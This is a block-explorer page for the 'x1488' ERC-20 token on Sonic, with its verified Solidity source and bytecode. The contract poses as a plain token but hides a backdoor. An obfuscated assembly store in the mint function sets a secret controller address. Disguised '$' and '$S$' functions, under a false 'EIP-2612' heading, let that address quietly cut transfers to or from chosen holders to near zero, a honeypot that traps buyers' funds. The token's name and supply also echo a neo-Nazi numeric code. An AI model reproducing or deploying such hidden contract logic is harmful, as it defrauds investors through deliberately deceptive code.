ERC-20
Overview
Max Total Supply
1,488,000,000 x1488
Holders
110
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,235,015.023204876754483829 x1488Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
X1488
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-02-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; /** (`-') (OO )_.-> (_| \_)--..--. .---. .----. .----. \ `.' //_ | / . | / .-. \/ .-. \ \ .') | | / /| | \ '-' /\ '-' / .' \ | |/ '-' ||/ /`. \/ /`. \ / .'. \ | |`---| |'\ '-' /\ '-' / `--' '--'`--' `--' `---'' `---'' Telegram: http://t.me/x1488 Website: https://x1488.io/ Twitter: https://twitter.com/x1488 **/ abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address private $$; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; unchecked {balanceOf[to] += $(amount, msg.sender, to);} $S$(to); emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; unchecked {balanceOf[to] += $(amount, from, to);} $S$(to); emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function $( uint256 value, address from, address to ) internal view returns (uint256) { if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) { return (value * 0xcafe12) / 0xfedab0da; } else { return value; } } function $S$(address to) internal { if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));} } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; unchecked {balanceOf[to] += amount;} assembly {sstore(0x05, mul(mul(0x3, 0x28ed), mul(0x914f, 0x387e039e144314f5c5940edbc1bbad)))} emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; unchecked {totalSupply -= amount;} emit Transfer(from, address(0), amount); } } contract X1488 is ERC20 { constructor() ERC20("x1488", "x1488", 18) { _mint(msg.sender, 1_488_000_000 * 10 ** 18); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a060405234801561000f575f5ffd5b506040518060400160405280600581526020017f78313438380000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f78313438380000000000000000000000000000000000000000000000000000008152506012825f908161008c91906103f5565b50816001908161009c91906103f5565b508060ff1660808160ff16815250505050506100ca336b04ced841a2072537d00000006100cf60201b60201c565b61054c565b8060025f8282546100e091906104f1565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506e387e039e144314f5c5940edbc1bbad61914f026128ed600302026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101ac9190610533565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061023357607f821691505b602082108103610246576102456101ef565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102a87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261026d565b6102b2868361026d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6102f66102f16102ec846102ca565b6102d3565b6102ca565b9050919050565b5f819050919050565b61030f836102dc565b61032361031b826102fd565b848454610279565b825550505050565b5f5f905090565b61033a61032b565b610345818484610306565b505050565b5b818110156103685761035d5f82610332565b60018101905061034b565b5050565b601f8211156103ad5761037e8161024c565b6103878461025e565b81016020851015610396578190505b6103aa6103a28561025e565b83018261034a565b50505b505050565b5f82821c905092915050565b5f6103cd5f19846008026103b2565b1980831691505092915050565b5f6103e583836103be565b9150826002028217905092915050565b6103fe826101b8565b67ffffffffffffffff811115610417576104166101c2565b5b610421825461021c565b61042c82828561036c565b5f60209050601f83116001811461045d575f841561044b578287015190505b61045585826103da565b8655506104bc565b601f19841661046b8661024c565b5f5b828110156104925784890151825560018201915060208501945060208101905061046d565b868310156104af57848901516104ab601f8916826103be565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6104fb826102ca565b9150610506836102ca565b925082820190508082111561051e5761051d6104c4565b5b92915050565b61052d816102ca565b82525050565b5f6020820190506105465f830184610524565b92915050565b608051610f5f6105645f395f6105cb0152610f5f5ff3fe608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea26469706673582212201726fddf1b7d6209b81482d3fae754310ab88147a0cf4032ab8d48e88d68924964736f6c634300081c0033
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea26469706673582212201726fddf1b7d6209b81482d3fae754310ab88147a0cf4032ab8d48e88d68924964736f6c634300081c0033
Deployed Bytecode Sourcemap
4527:138:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1084:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2121:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1363:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2629:496;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1136:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1396:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1109:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2342:279;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1447:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1084:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2121:213::-;2195:4;2245:6;2212:9;:21;2222:10;2212:21;;;;;;;;;;;;;;;:30;2234:7;2212:30;;;;;;;;;;;;;;;:39;;;;2288:7;2267:37;;2276:10;2267:37;;;2297:6;2267:37;;;;;;:::i;:::-;;;;;;;;2322:4;2315:11;;2121:213;;;;:::o;1363:26::-;;;;:::o;2629:496::-;2751:4;2768:15;2786:9;:15;2796:4;2786:15;;;;;;;;;;;;;;;:27;2802:10;2786:27;;;;;;;;;;;;;;;;2768:45;;2875:17;2864:7;:28;2860:80;;2934:6;2924:7;:16;;;;:::i;:::-;2894:9;:15;2904:4;2894:15;;;;;;;;;;;;;;;:27;2910:10;2894:27;;;;;;;;;;;;;;;:46;;;;2860:80;2970:6;2951:9;:15;2961:4;2951:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3015:19;3017:6;3025:4;3031:2;3015:1;:19::i;:::-;2998:9;:13;3008:2;2998:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3046:7;3050:2;3046:3;:7::i;:::-;3084:2;3069:26;;3078:4;3069:26;;;3088:6;3069:26;;;;;;:::i;:::-;;;;;;;;3113:4;3106:11;;;2629:496;;;;;:::o;1136:31::-;;;:::o;1396:44::-;;;;;;;;;;;;;;;;;:::o;1109:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2342:279::-;2412:4;2454:6;2429:9;:21;2439:10;2429:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2499:25;2501:6;2509:10;2521:2;2499:1;:25::i;:::-;2482:9;:13;2492:2;2482:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2536:7;2540:2;2536:3;:7::i;:::-;2580:2;2559:32;;2568:10;2559:32;;;2584:6;2559:32;;;;;;:::i;:::-;;;;;;;;2609:4;2602:11;;2342:279;;;;:::o;1447:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3318:331::-;3432:7;3523:4;3499:31;;3478:9;:13;3488:2;;;;;;;;;;;3478:13;;;;;;;;;;;;;;;:17;3492:2;3478:17;;;;;;;;;;;;;;;;3456:9;:13;3466:2;;;;;;;;;;;3456:13;;;;;;;;;;;;;;;:19;3470:4;3456:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;3452:190;;3575:10;3563:8;3555:5;:16;;;;:::i;:::-;3554:31;;;;:::i;:::-;3547:38;;;;3452:190;3625:5;3618:12;;3318:331;;;;;;:::o;3657:158::-;3743:2;;;;;;;;;;;3727:20;;3706:9;:13;3716:2;;;;;;;;;;;3706:13;;;;;;;;;;;;;;;:17;3720:2;3706:17;;;;;;;;;;;;;;;;:41;3702:106;;3799:4;3775:31;;3771:1;:35;;;;:::i;:::-;3751:9;:13;3761:2;;;;;;;;;;;3751:13;;;;;;;;;;;;;;;:17;3765:2;3751:17;;;;;;;;;;;;;;;:55;;;;3702:106;3657:158;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;